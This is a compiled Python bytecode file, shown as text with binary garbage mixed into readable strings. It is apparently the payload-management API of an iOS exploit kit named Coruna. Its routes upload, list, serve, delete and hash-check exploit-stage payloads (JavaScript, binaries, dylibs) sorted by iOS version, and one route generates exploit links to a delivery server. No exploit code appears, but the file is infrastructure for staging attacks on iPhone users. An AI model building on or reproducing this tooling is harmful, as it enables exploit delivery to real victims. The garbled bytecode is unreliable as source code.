a
    Xj'                  	   @   s  d Z ddlZddlZddlZddlmZ ddlmZmZm	Z	m
Z
mZmZ ddlmZ ddlmZmZ ddlmZ ddlmZ e Zed	d
gdZeedddZededededededeefeeeee e
edddZedddeefee ee edddZededddZededddZedd d! Z ed"d#d$ Z!ed%d/eee d&d'd(Z"ed)d*d+ Z#ed,edd-d.Z$dS )0u   Payload 管理 API 路由    N)Path)	APIRouterDependsHTTPException
UploadFileFileForm)Session)ListOptional)get_db)
get_configz/api/payloadspayloads)prefixtags)	file_pathreturnc                    s\   t  }t| d2 t fdddD ]}|| q&W d   n1 sJ0    Y  | S )u   计算文件哈希值rbc                      s
     dS )Ni   )read fr   )/root/Coruna-main/backend/api/payloads.py<lambda>       z%calculate_file_hash.<locals>.<lambda>r   N)hashlibsha256openiterupdate	hexdigest)r   Zsha256_hashZ
byte_blockr   r   r   calculate_file_hash   s
    *r!   z/upload.)nameios_versionexploit_stagedescriptionfiledbc              
      s8  g d}t j|jd  }||vr8tdd| dtj| }|| }	|	jddd |	|j }
t	|
d(}|
 I d	H }|| W d	   n1 s0    Y  tt|
}| |j|||t||td
j  t|
d	}|
d}t	|ddd"}tj||ddd W d	   n1 s"0    Y  dd|dS )u^   
    上传 Payload 文件
    用于管理不同 iOS 版本和 exploit 阶段的 payload
    )z.jsz.binz.dylibz.plist     u   不支持的文件类型: status_codedetailT)parentsexist_okwbNdatetime)	r"   filenamer#   r$   r%   	file_size	file_hashZupload_timer   .jsonwutf-8encoding   F)indentensure_asciiu   Payload 上传成功)okmessagemetadata)ospathsplitextr1   lowerr   configPAYLOADS_DIRmkdirr   r   writer!   strlen
__import__r0   utcnow	isoformatwith_suffixjsondump)r"   r#   r$   r%   r&   r'   Zallowed_extensionsZfile_ext	stage_dirversion_dirr   r   contentr3   r>   metadata_filer   r   r   upload_payload   s:    

(
2rS   z/list)r#   r$   r'   c                 C   s  g }t j D ]}| sq|j}|r0||kr0q| D ]}| sFq8|j}| rZ|| krZq8|dD ]}|jdkrtqd|d}	|	 rzFt	|	ddd}
t
|
}W d   n1 s0    Y  || W n ty   Y n0 qd||j|j||| jt|d qdq8qdt||d	S )
uP   
    获取 Payload 列表
    支持按 iOS 版本和 exploit 阶段筛选
    *r4   rr6   r7   N)r"   r1   r#   r$   r2   r   T)r<   countr   )rC   rD   iterdiris_dirr"   globsuffixrL   existsr   rM   loadappend	Exceptionstatst_sizerG   rH   )r#   r$   r'   r   rO   stagerP   versionr   rR   r   r>   r   r   r   list_payloadsU   sH    


(
rc   z/download/{payload_id:path})
payload_idc              
      s   ddl m} zb| d}t|dkr0tddd|\}}}tj| | | }| s`tdd	d|||d
dW S  ty } ztdt	|dW Y d}~n
d}~0 0 dS )uM   
    下载 Payload 文件
    payload_id 格式: stage/version/filename
    r   )FileResponse/   r)   Invalid payload ID formatr*     Payload not foundzapplication/octet-stream)r1   
media_type  N)
fastapi.responsesre   splitrH   r   rC   rD   r[   r^   rG   )rd   re   partsra   rb   r1   r   er   r   r   download_payload   s     

rq   z/{payload_id:path}c              
   C   s   zt|  d}t|dkr$tddd|\}}}tj| | | }|d}| rZ|  | rj|  ddd	W S  ty } ztd
t	|dW Y d}~n
d}~0 0 dS )uM   
    删除 Payload 文件
    payload_id 格式: stage/version/filename
    rf   rg   r)   rh   r*   r4   Tu   Payload 删除成功)r<   r=   rl   N)
rn   rH   r   rC   rD   rL   r[   unlinkr^   rG   )rd   ro   ra   rb   r1   r   metadata_pathrp   r   r   r   delete_payload   s     


rt   z	/versionsc                   C   s   dt tj dS )u    获取支持的 iOS 版本列表T)r<   versions)listrC   SUPPORTED_IOS_VERSIONSkeysr   r   r   r   get_supported_versions   s    ry   z/stagesc                   C   s   dt jdS )u   获取 exploit 阶段列表T)r<   stages)rC   EXPLOIT_STAGESr   r   r   r   get_exploit_stages   s    r|   z/generate-link)r#   exploit_chainc              	   C   sf   | t jvr.tdd|  ddt j  d|p:t j|  }t j d}t j d}d|| |t jd	S )
u?   
    生成 exploit 链接
    返回完整的 exploit URL
    r)   u   不支持的 iOS 版本: u   ，支持: z, r*   z/group.htmlz/downloadedT)r<   exploit_urlr#   r}   
server_url)rC   rw   r   joinrx   CORUNA_SERVER_URL)r#   r}   chainr~   Zdownload_baser   r   r   generate_exploit_link   s    

$r   z/statusc                  C   s   i } t j D ]\}}|i dd| |< t jD ]T}t j| | }| oRt|d}||rltt	|dndd| | d |< q,t
dd | | d  D | | d	< qd
| dS )ue   
    获取 Payload 状态
    检查各个 iOS 版本和 exploit 阶段的 payload 是否完整
    F)r   rz   completerT   r   )has_payloadZpayload_countrz   c                 s   s   | ]}|d  V  qdS )r   Nr   ).0Z
stage_infor   r   r   	<genexpr>  s   z%get_payload_status.<locals>.<genexpr>r   T)r<   status)rC   rw   itemsr{   rD   r[   anyrY   rH   rv   allvalues)r   r#   r   ra   rO   r   r   r   r   get_payload_status  s$    

r   z/validate/{payload_id:path}c              
   C   s  z|  d}t|dkr$tddd|\}}}tj| | | }|d}| s^tddd| std	d
ddW S t|ddd}t	|}W d   n1 s0    Y  t
t|}	|d}
|	|
k}d	||	|
|rdnddW S  ty } ztdt|dW Y d}~n
d}~0 0 dS )uK   
    验证 Payload 文件完整性
    检查文件哈希是否匹配
    rf   rg   r)   rh   r*   r4   ri   rj   TFzNo metadata found)r<   validr=   rU   r6   r7   Nr3   zPayload is validzPayload hash mismatch)r<   r   current_hashstored_hashr=   rl   )rn   rH   r   rC   rD   rL   r[   r   rM   r\   r!   rG   getr^   )rd   ro   ra   rb   r1   r   rs   r   r>   r   r   is_validrp   r   r   r   validate_payload'  s6    


(

r   )N)%__doc__r?   rM   r   pathlibr   fastapir   r   r   r   r   r   Zsqlalchemy.ormr	   typingr
   r   databaser   rC   r   routerrG   r!   postrS   r   rc   rq   deletert   ry   r|   r   r   r   r   r   r   r   <module>   sl    	9A

 
#